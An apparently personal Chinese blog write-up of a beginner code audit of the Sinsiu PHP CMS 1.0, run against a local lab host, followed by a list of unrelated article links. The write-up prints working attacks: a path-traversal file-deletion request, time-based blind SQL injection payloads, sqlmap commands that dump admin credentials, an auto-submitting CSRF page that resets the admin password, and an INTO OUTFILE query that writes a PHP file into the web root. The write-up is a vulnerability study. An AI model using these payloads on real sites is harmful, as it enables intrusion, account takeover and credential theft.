系统介绍

CMS名称:新秀企业网站系统PHP版

官网:www.sinsiu.com

版本:这里国光用的1.0 正式版 (官网最新的版本有毒,网站安装的时候居然默认使用远程数据库???迷之操作 那站长的后台密码岂不是直接泄露了?疑似远程数据库地址:server.sinsiu.net )

下载地址:蓝奏云

Windows下使用PHPStudy可以直接安装,搭建起来还是很简单的。

防护策略

虽然这是一个不知名的小系统,但是安全加固还是考虑到的,很多本应该有漏洞的地方均被加固修复了,导致国光我一开始一直碰壁,=,= 废话不多说,下面直接列举本次审计碰到的一些坑。

伪造IP注入过滤

思路

首先在后台发现有记录用户IP的功能:

哦豁,会不会有传说中的伪造IP地址注入攻击呢???使用数据库监测工具,发现在注册用户发表评论的时候。用户的IP地址也的确被带入SQL语句中查询了:

select * from php_safe where saf_ip = '10.211.55.2'  and saf_action = 'message'

VSCode走起,根据关键词来查找相关功能代码:

include/function.php

//获取客户端IP
function get_ip()
{
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown'))
{
$ip = getenv('HTTP_CLIENT_IP');
}elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'),'unknown')){
$ip = getenv('HTTP_X_FORWARDED_FOR');
}elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'),'unknown')){
$ip = getenv('REMOTE_ADDR');
}elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],'unknown')){
$ip = $_SERVER['REMOTE_ADDR'];
}else{
$ip = '0.0.0.0';
}
if(!is_numeric(str_replace('.','',$ip)))
{
$ip = '0.0.0.0';
}
return $ip;
}

结果

获取IP的关键防护代码:

if(!is_numeric(str_replace('.','',$ip)))
{
$ip = '0.0.0.0';
}

获取到的IP值,去除掉.后如果不是数字类型的话就重置为0.0.0.0 ,扑街,这条思路行不通,赶紧换个思路去

存储型XSS过滤

思路

网站前台有留言功能,留言就会想到存储型XSS,2333 嗝:

结果

定位到留言函数的代码:

index/module/info_main.php

function add_message()
{
safe('message');
global $global,$smarty,$lang;
$mes_email = post('email');
$mes_type = post('type');
$mes_title = post('title');
$mes_text = post('text');
$mes_show = post('show');
if($mes_email == '' || $mes_type == '' || $mes_title == '' || $mes_text == '')
{
$info_text = $lang['submit_error_info'];
}else{
$mes_add_time = time();
if($mes_show != '2')
{
$mes_show = '0';
}
$obj = new message();
$obj->set_value('mes_user_id',$global['user_id']);
$obj->set_value('mes_type',$mes_type);
$obj->set_value('mes_email',$mes_email);
$obj->set_value('mes_title',$mes_title);
$obj->set_value('mes_text',$mes_text);
$obj->set_value('mes_add_time',$mes_add_time);
$obj->set_value('mes_show',$mes_show);
$obj->set_value('mes_lang',S_LANG);
$obj->add();
if(intval(get_varia('sentmail')))
{
$email_title = '您的网站有了新的留言';
$email_text = "[$mes_type] $mes_title <br /> $mes_text";
call_send_email($email_title,$email_text,$global['user_id'],$mes_email);
}
$info_text = $lang['submit_message'];
}
$smarty->assign('info_text',$info_text);
$smarty->assign('link_text',$lang['go_back']);
$smarty->assign('link_href',url(array('channel'=>'message')));
}

可以看到前台用户传入的数据经过了post()函数,追踪到post()函数的定义处:

include/function.php

function post($val,$filter = 'strict')
{
return $filter(isset($_POST[$val])?$_POST[$val]:'');
}

??? 继续找到strict的定义处:

include/function.php

//严格过滤字符串中的危险符号
function strict($str)
{
if(S_MAGIC_QUOTES_GPC)
{
$str = stripslashes($str);
}
$str = str_replace('<','<',$str);
$str = str_replace('>','>',$str);
$str = str_replace('?','?',$str);
$str = str_replace('%','%',$str);
$str = str_replace(chr(39),''',$str);
$str = str_replace(chr(34),'"',$str);
$str = str_replace(chr(13).chr(10),'<br />',$str);
return $str;
}

可以发现 我们的存储XSS所用到的尖括号完全被过滤掉了:

$str = str_replace('<','<',$str);
$str = str_replace('>','>',$str);

这也导致了 管理员后台可以直接看到XSS Payload ,场面一度非常尴尬:

用户评论的核心代码也被过滤了:

index/module/info_main.php

function add_comment()
{
safe('comment');
global $global,$smarty,$lang;
$channel = post('channel');
$com_page_id = post('page_id');
$com_email = post('email');
$com_rank = post('rank');
$com_text = post('text');
if($channel == '' || $com_page_id == '' || $com_rank == '' || $com_email == '' || $com_text == '')
{
$info_text = $lang['submit_error_info'];
}
...
...
}

存储XSS 扑gai~

前台用户CSRF判断

思路

网站有留言板和文章评论,如何存在CSRF越权的话可以在评论或者留言处贴构造好的CSRF链接,来进行CSRF攻击。23333 感觉稳了!定位到相关功能代码:

index/module/user/deal.php

function edit_pwd()
{
safe('edit_pwd');
global $global,$smarty,$lang;
$old_pwd = post('old_pwd');
$new_pwd = post('new_pwd');
$re_pwd = post('re_pwd');
if(strlen($old_pwd) < 6 || strlen($old_pwd) > 15 || strlen($new_pwd) < 6 || strlen($new_pwd) > 15 || $new_pwd != $re_pwd)
{
$info_text = $lang['submit_error_info'];
}else{
$use_password = md5($old_pwd);
$obj = new users();
$obj->set_where('use_id = '.$global['user_id']);
$obj->set_where("use_password = '$use_password'");
if($obj->get_count() > 0)
{
$use_password = md5($new_pwd);
$obj->set_value('use_password',$use_password);
...
...
}

结果

index/moudle/user/deal.php

// 这里需要提供旧密码
$use_password = md5($old_pwd);
$obj = new users();
$obj->set_where('use_id = '.$global['user_id']);
$obj->set_where("use_password = '$use_password'");
if($obj->get_count() > 0)

没有旧密码 是不可能改密码的,所以CSRF攻击其他用户的想法GG

可控变量过滤

虽然作为一个CMS,用户可控变量很多,文章浏览等功能不可避免地要进行数据库操作,但是该系统基本上把所以可控变量都给过滤了。

session 过滤

使用了$filter = 'strict'严格模式,关于strict函数细节可以参考文章上面贴的代码:

include/function.php

function set_session($name,$value,$filter = 'strict')
{
if(S_SESSION)
{
$_SESSION[$name] = $filter($value);
}else{
setcookie($name,$filter($value));
}
}
//获取session
function get_session($name,$filter = 'strict')
{
if(S_SESSION)
{
return $filter(isset($_SESSION[$name])?$_SESSION[$name]:'');
}else{
return $filter(isset($_COOKIE[$name])?$_COOKIE[$name]:'');
}
}

cookie过滤

include/function.php

//获取cookie
function get_cookie($name,$filter = 'strict')
{
return $filter(isset($_COOKIE[$name])?$_COOKIE[$name]:'');
}

管理员登录过滤

admin/module/info_main.php

function admin_login()
{
safe('admin_login');
global $smarty,$lang;
$username = substr(post('username'),0,30);
$password = substr(post('password'),0,30);
if($username == '' || $password == '')
{
unset_session('admin_username');
unset_session('admin_password');
$info_text = '对不起,用户名和密码不能为空';
$link_text = '返回重新登录';
}
...
...
}

普通用户登录过滤

index/module/info_main.php

function user_login()
{
safe('user_login');
global $global,$smarty,$lang;
$info_text = post('info_text');
$link_text = post('link_text');
$link_href = post('link_href');
$username = post('username');
$password = post('password');
...
...
}

大致就这么多防护了,接下来开始真正地来进行漏洞挖掘。

漏洞分析

后台任意文件删除

漏洞分析

漏洞文件:admin/deal.php

deal.php

function del_file()
{
$path = post('path');
$flag = false;
$dir[0] = 'data/backup/';
$dir[1] = 'images/';
$dir[2] = 'resource/';
for($i = 0; $i < count($dir); $i ++)
{
if(substr($path,0,strlen($dir[$i])) == $dir[$i])
{
$flag = true;
}
}
if($flag)
{
if(unlink($path))
{
$result = 1;
}
}
echo isset($result)?$result:0;
}

这里核心看这处代码:

if(substr($path,0,strlen($dir[$i])) == $dir[$i])
{
$flag = true;
}

这是个删除文件的函数定义,删除文件用了白名单策略,必须只能删除:

$dir[0] = 'data/backup/';
$dir[1] = 'images/';
$dir[2] = 'resource/';

这3个目录下的文件,使用了substr$path的0位置开始往后判断,只校验了$path前面是否在白名单内部,但是却忽略了 白名单后面的路径可能使用../的这种形式来穿越目录。

漏洞利用

抓取删除 这个操作的数据包,具体如下:

POST /admin.php?/deal/ HTTP/1.1
Host: 10.211.55.12
Content-Length: 33
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://10.211.55.12
Referer: http://10.211.55.12/admin.php?/file/mod-pic_lists/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84
Connection: close cmd=del_file&path=images/../1.php

通过在白名单目录后面使用../可以实现跨目录任意文件删除,删除成功返回1

后台盲注

后台盲注有好几处点,虽然可控变量基本上都被过滤了,但是却忽略 数字型盲注 不需要闭合单引号就可以直接拼接SQL语句导致盲注的产生,下面就找一个典型的例子来分析。

漏洞分析

删除管理员账号这里存在数字型盲注,下面来看下细节代码:

admin/module/basic/deal.php

function del_admin()
{
global $global;
$adm_id = post('id');
$obj = new admin();
$obj->set_where('adm_id = '.$global['admin_id']);
$a = $obj->get_one();
$obj->set_where('');
$obj->set_where("adm_id = $adm_id");
$b = $obj->get_one();
if($obj->get_count())
{
if($a['adm_grade'] < $b['adm_grade'])
{
$obj->del();
set_cookie('result',1);
}
}
echo 1;
}

比较关键的两处代码是:

// admin_id 用户可控 虽然经过post过滤了
$adm_id = post('adm_id'); // post过滤后直接带入数据库操作
$obj->set_where('adm_id = '.$global['admin_id']);

为了进一步分析,使用Burpsuite来抓取修改密码的数据包,具体如下:

POST /admin.php?/deal/dir-basic/ HTTP/1.1
Host: 10.211.55.12
Content-Length: 18
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://10.211.55.12
Referer: http://10.211.55.12/admin.php?/basic/mod-admin_list/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84; user_username=111111; user_password=96e79218965eb72c92a549dd5a330112
Connection: close cmd=del_admin&id=2

因为代码里面只返回1 echo 1; 所以这里注入的话只能使用数字型基于时间的盲注了:

数据库监控工具来看一下后台执行了什么样的SQL语句:

select * from php_admin where adm_id = 3

先延时再验证一下:

cmd=del_admin&id=3 and sleep(10)

后台SQL语句:

select * from php_admin where adm_id = 3 and sleep(10)

然鹅测试发现并没有延时反应,因为这里是删除用户,当这个用户的ID被删掉以后,用and语句前提是两边都是真才可以,所以这里得把and换成or语句:

延时貌似误差比较大,实际延时的时长大概是理论延时的两倍左右。

既然知道有注入的话 ,下面开始验证吧。

漏洞利用

手工验证

手工延时盲注是个细心的活,下面只举个基本例子:

# 判断当前数据库长度
# 当前数据库长度是否为 1 没有延时 不是
cmd=del_admin&id=3 or if(length(database())=1,sleep(3),0) # 延时 表明当前数据库长度为 6
cmd=del_admin&id=3 or if(length(database())=6,sleep(3),0) # 当前数据库第1个字母的ascii码是否为 97 没有延时 不是
cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=97,sleep(3),0) # 延时 表明当前数据库第1个字母的ascii码为 115 即 's'
cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=115,sleep(3),0) # 当前数据库第2个字母的ascii码是否为 97 没有延时 不是
cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=97,sleep(3),0) # 延时 表明当前数据库第2个字母的ascii码为 105 即 'i'
cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=105,sleep(3),0) ...

SQLMap注入

为啥不自己写脚本来注入呢???因为SQLMap本身很强大,这里不需要造轮子,很多人不了解SQLMap,认为现在基本上SQLMap注入不出来啥,实际上还是他们不够了解,SQLMap灵活程度非常高,远比自己造轮子写脚本快的多。下面直接上关键的用法参数吧:

sqlmap -u "http://10.211.55.12//admin.php?/deal/dir-basic/" --cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;" --data="cmd=del_admin&id=3" -p "id" --technique=T --random-agent -v 3 --tamper="between" -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump

注入结果

细节

-u "http://10.211.55.12//admin.php?/deal/dir-basic/"

实际上也可以 保存数据包为文本,然后-r,文本里面手动标 星号

--cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;"

因为这个是后台盲注,所以这里需要Cookie认证一下

--data="cmd=del_admin&id=3"

手动写入POST数据包,将请求中提供对应发送的数据隐式地将 GET 改成 POST

-p "id"

手动指出存在注入的参数

--technique=T

手动指定时间型盲注的检测技术,SQLMap默认检测技术为 BEUSTQ

--random-agent

好习惯,随机user-agent

-v 3

国光自己的习惯,显示已注入的 payloads,国光习惯看SQLMap的payload,看多有助于学习先进的手工注入技术

--tamper="between"

因为这个网站过滤了尖括号,所以介个插件,作用是NOT BETWEEN 0 AND #替换大于号>BETWEEN # AND #替换等于号=

-D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump

日常操作,这里大家应该很熟悉了,国光就不再BB了

管理员CSRF

漏洞分析

修改管理员密码,没有验证就密码,直接提供新密码,而且没有Token验证来防御CSRF攻击:

admin/moudle/basic/deal.php

function edit_admin()
{
global $global,$smarty;
$adm_id = post('adm_id');
$adm_password = post('adm_password');
$re_password = post('re_password');
$obj = new admin();
$obj->set_where('adm_id = '.$global['admin_id']);
$a = $obj->get_one();
$obj->set_where('');
$obj->set_where("adm_id = $adm_id");
$b = $obj->get_one();
$success = 0;
if($obj->get_count())
{
if($a['adm_id'] == $b['adm_id'] || $a['adm_grade'] < $b['adm_grade'])
{
if(strlen($adm_password) >= 5 && $adm_password == $re_password)
{
$obj->set_value('adm_password',md5($adm_password));
$obj->edit();
$success = 1;
}
}
}
if($success)
{
$info_text = '修改密码成功';
$link_text = '返回列表页';
$link_href = url(array('channel'=>'basic','mod'=>'admin_list'));
}else{
$info_text = '修改密码失败';
$link_text = '返回上一页';
$link_href = url(array('channel'=>'basic','mod'=>'admin_edit'));
}
$smarty->assign('info_text',$info_text);
$smarty->assign('link_text',$link_text);
$smarty->assign('link_href',$link_href);
}

同理添加管理员也是这样:

admin/moudle/basic/deal.php

function add_admin()
{
global $global,$smarty;
$adm_username = post('adm_username');
$adm_password = post('adm_password');
$re_password = post('re_password');
$obj = new admin();
$obj->set_where('adm_id = '.$global['admin_id']);
$one = $obj->get_one();
$adm_grade = $one['adm_grade'] + 1;
$obj->set_where('');
$obj->set_where("adm_username = '$adm_username'");
if($obj->get_count() == 0 && strlen($adm_username) >= 5 && strlen($adm_password) >= 5 && $adm_password == $re_password)
{
$obj->set_value('adm_username',$adm_username);
$obj->set_value('adm_password',md5($adm_password));
$obj->set_value('adm_grade',$adm_grade);
$obj->add();
$info_text = '添加管理员帐号成功';
$link_text = '返回列表页';
$link_href = url(array('channel'=>'basic','mod'=>'admin_list'));
}else{
$info_text = '添加管理员帐号失败';
$link_text = '返回上一页';
$link_href = url(array('channel'=>'basic','mod'=>'admin_add'));
}
$smarty->assign('info_text',$info_text);
$smarty->assign('link_text',$link_text);
$smarty->assign('link_href',$link_href);
}

漏洞利用

修改管理员密码为:Passw0rd 构造以下HTML页面:

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.211.55.12/admin.php?/basic/index.html" method="POST">
<input type="hidden" name="cmd" value="edit_admin" />
<input type="hidden" name="adm_id" value="1" />
<input type="hidden" name="adm_password" value="Passw0rd" />
<input type="hidden" name="re_password" value="Passw0rd" />
</form>
<script> document.forms[0].submit(); </script>
</body>
</html>

下面实际来模拟一下攻击场景

攻击者将上述html保存到外网上,引诱管理员点击,然后自动触发CSRF攻击:

管理员在后台 使用当前浏览器去访问这个地址的时候就中招了,这个html里面的修改密码表单会自动触发,GG

前台盲注

前面漏洞要么需要拿到后台,要么需要社工来CSRF攻击管理员,需要一些运气成分,但是这个洞就不需要了,这个洞产生点在网站的前台,可以直接进行注入。

漏洞分析

index/module/search_main.php

<?php
function module_search_main()
{
global $global,$smarty;
$global['key'] = rawurldecode($global['key']);
$obj = new goods();
$obj->set_field('goo_id,goo_title,goo_x_img');
$obj->set_where("goo_title like '%" . $global['key'] . "%'");
$obj->set_where('goo_channel_id = '.get_id('channel','cha_code','goods'));
$len = get_varia('img_list_len');
$obj->set_page_size($len ? $len : 12);
$obj->set_page_num($global['page']);
$sheet = $obj->get_sheet();
for($i = 0; $i < count($sheet); $i ++)
{
$sheet[$i]['short_title'] = cut_str($sheet[$i]['goo_title'],10);
}
set_link($obj->get_page_sum());
$smarty->assign('search',$sheet);
}
//新秀
?>

这里首先进行URL解码:

$global['key'] = rawurldecode($global['key']);

然后就直接带入数据库查询了:

$obj->set_where("goo_title like '%" . $global['key'] . "%'");

???不明白为啥这里大意了,明明其他地方过滤都很严格的…

漏洞利用

知道代码仅仅经过一次URL解码,所以尝试一下使用%23,解码后就是#来闭合后面的语句:

http://10.211.55.12/?/search/index.html/key-%27%20and%20sleep(2)%20%23/

%27and%20sleep(2)%20%23URL解码为:' and sleep(2) # 使用MySQL监控工具查看日志:

select goo_id,goo_title,goo_x_img from php_goods where goo_lang = 'zh-cn'  and goo_show = 1  and goo_title like '%' and sleep(2) #%'  and goo_channel_id = 1  order by goo_top desc,goo_index desc,goo_id desc

成功了,那么接下来使用SQLMap来进注入吧。

sqlmap -u "http://10.211.55.12/?/search/index.html/key-%27*%20%23/" -v 3 --technique=T -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump

因为这里key-%27*%20%23 国光我使用*给SQLMap预留好了,然后SQLMap直接注入即可:

理论情况

这部分纯理论测试,实际情况下一般没写入权限,但是还是记录一下吧。如果有大佬可以审计出后台getshell的话 欢迎评论区留言 这样就可以一条龙攻击了~~~

MySQL新版下secure-file-priv字段用来限制MySQL对目录的操作权限。先查看一下本地我们的MySQL是否有作限制

mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | NULL |
+------------------+-------+
2 rows in set (0.00 sec)
  • secure_file_priv的值为null ,表示限制mysqld 不允许导入导出

  • secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入导出只能发生在/tmp/目录下

  • secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

为了进行理论上漏洞测试,下面来修改一下MySQL配置文件,修改mysql.ini 文件,在[mysqld] 下加入:

secure_file_priv=

重启MySQL服务即可生效:

mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)

写shell需要网站爆物理路径才可以,当代码没有检测异常操作的时候,遇到错误会直接报错泄露物理路径,这个CMS信息泄露的地方有很多,下面随便找几处:

http://localhost/admin/admin.php

http://localhost/admin/deal.php

http://localhost/admin/info.php

http://localhost/include/common.php

http://localhost/index/info.php

http://localhost/index/user.php

...

浏览器直接访问一个试试看:

获取到网站的物理路径为:

C:\phpStudy\PHPTutorial\WWW\

OK,那么可以直接开始写shell了:

http://10.211.55.12/?/search/index.html/key-%27union select 1,2,'<?php phpinfo();?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\gg.php'%20%23/

shell写入目录为网站根目录下,文件名为gg.php

总结

因为第一次做审计,所以写的比较啰嗦了,日后再审计其他系统的分析文章的话 会尽量简洁明了的。

PHP代码审计之入门实战的更多相关文章

  1. Spark入门实战系列--10.分布式内存文件系统Tachyon介绍及安装部署

    [注]该系列文章以及使用到安装包/测试数据 可以在<倾情大奉送--Spark入门实战系列>获取 .Tachyon介绍 1.1 Tachyon简介 随着实时计算的需求日益增多,分布式内存计算 ...

  2. 003-Tuple、Array、Map与文件操作入门实战

    003-Tuple.Array.Map与文件操作入门实战 Tuple 各个元素可以类型不同 注意索引的方式 下标从1开始 灵活 Array 注意for循环的until用法 数组的索引方式 上面的for ...

  3. Scala深入浅出实战经典-----002Scala函数定义、流程控制、异常处理入门实战

    002-Scala函数定义.流程控制.异常处理入门实战 Scala函数定义 语句结束无分号 定义无参函数 def 函数名称(参数名称:参数类型)[:Unit=]{ 函数体 } 老师的代码 我的实际代码 ...

  4. Spark入门实战系列--1.Spark及其生态圈简介

    [注]该系列文章以及使用到安装包/测试数据 可以在<倾情大奉送--Spark入门实战系列>获取 .简介 1.1 Spark简介 年6月进入Apache成为孵化项目,8个月后成为Apache ...

  5. Spark入门实战系列--2.Spark编译与部署(上)--基础环境搭建

    [注] 1.该系列文章以及使用到安装包/测试数据 可以在<倾情大奉送--Spark入门实战系列>获取: 2.Spark编译与部署将以CentOS 64位操作系统为基础,主要是考虑到实际应用 ...

  6. Spark入门实战系列--2.Spark编译与部署(中)--Hadoop编译安装

    [注]该系列文章以及使用到安装包/测试数据 可以在<倾情大奉送--Spark入门实战系列>获取 .编译Hadooop 1.1 搭建环境 1.1.1 安装并设置maven 1. 下载mave ...

  7. Spark入门实战系列--2.Spark编译与部署(下)--Spark编译安装

    [注]该系列文章以及使用到安装包/测试数据 可以在<倾情大奉送--Spark入门实战系列>获取 .编译Spark .时间不一样,SBT是白天编译,Maven是深夜进行的,获取依赖包速度不同 ...

  8. Spark入门实战系列--3.Spark编程模型(上)--编程模型及SparkShell实战

    [注]该系列文章以及使用到安装包/测试数据 可以在<倾情大奉送--Spark入门实战系列>获取 .Spark编程模型 1.1 术语定义 l应用程序(Application): 基于Spar ...

  9. Spark入门实战系列--3.Spark编程模型(下)--IDEA搭建及实战

    [注]该系列文章以及使用到安装包/测试数据 可以在<倾情大奉送--Spark入门实战系列>获取 . 安装IntelliJ IDEA IDEA 全称 IntelliJ IDEA,是java语 ...

随机推荐

  1. 解决fastjson反序列化日期0000-00-00失败的方案

    解决fastjson反序列化日期0000-00-00失败的方案 22 Jul 2016 一.案例场景复原 示例场景里涉及两个class:TestDemo.java, DateBeanDemo.java ...

  2. 最大流EK板子

    #include <bits/stdc++.h> using namespace std; ; const int INF=0x7fffffff; typedef long long ll ...

  3. 最长公共子序列/子串 LCS(模板)

    首先区分子序列和子串,序列不要求连续性(连续和不连续都可以),但子串一定是连续的 1.最长公共子序列 1.最长公共子序列问题有最优子结构,这个问题可以分解称为更小的问题 2.同时,子问题的解释可以被重 ...

  4. Uber为何会成为共享经济中全球市值最大的独角兽企业?

    自5月10日登陆纽交所以来,Uber的股价就像过山车一般起起伏伏,让无数投资者痛并快乐着.不过在经过半个月时间的试探后,如今Uber的股价已经稳定在40美元左右.截至美国东部时间5月24日股市收盘,U ...

  5. Charles + Android 抓取Https数据包 (适用于Android 6.0及以下)

    通过Charles代理,我们能很轻易的抓取手机的Http请求,因为Http属于明文传输,所以我们能直接获取到我们要抓取的内容.但是Https内容本身就是加密的,这时我们会发现内容是加密的了.本文我们来 ...

  6. 设计模式课程 设计模式精讲 16-2,3 代理模式Coding-静态代理-1

    1 代码演练 1.1 代码演练1(静态代理之分库操作) 1 代码演练 1.1 代码演练1(静态代理之分库操作) 需求: 订单管理,模拟前置后置方法,模拟分库管理 重点: 重点看订单静态代理,动态数据源 ...

  7. 134、Java中的构造方法和构造块

    01.代码如下: package TIANPAN; class Book { public Book() { // 构造方法 System.out.println("[A]Book类的构造方 ...

  8. Lucene_solr

    1.总结 https://pan.baidu.com/s/1pMAWk0z  密码:ekhx 2.代码 https://pan.baidu.com/s/1nxmTWy1   密码:65ec 3.资料 ...

  9. scrapy 开发流程

    一.Spider 开发流程 实现一个 Spider 子的过程就像是完成一系列的填空题,Scrapy 框架提出以下问题让用户在Spider 子类中作答: 1.爬虫从哪个或者那些页面开始爬取? 2.对于一 ...

  10. nginx反向代理(2)

    目录 nginx缓存 基本概念 常用模块 proxy_cache 超时相关 常见架构 ========================================================= ...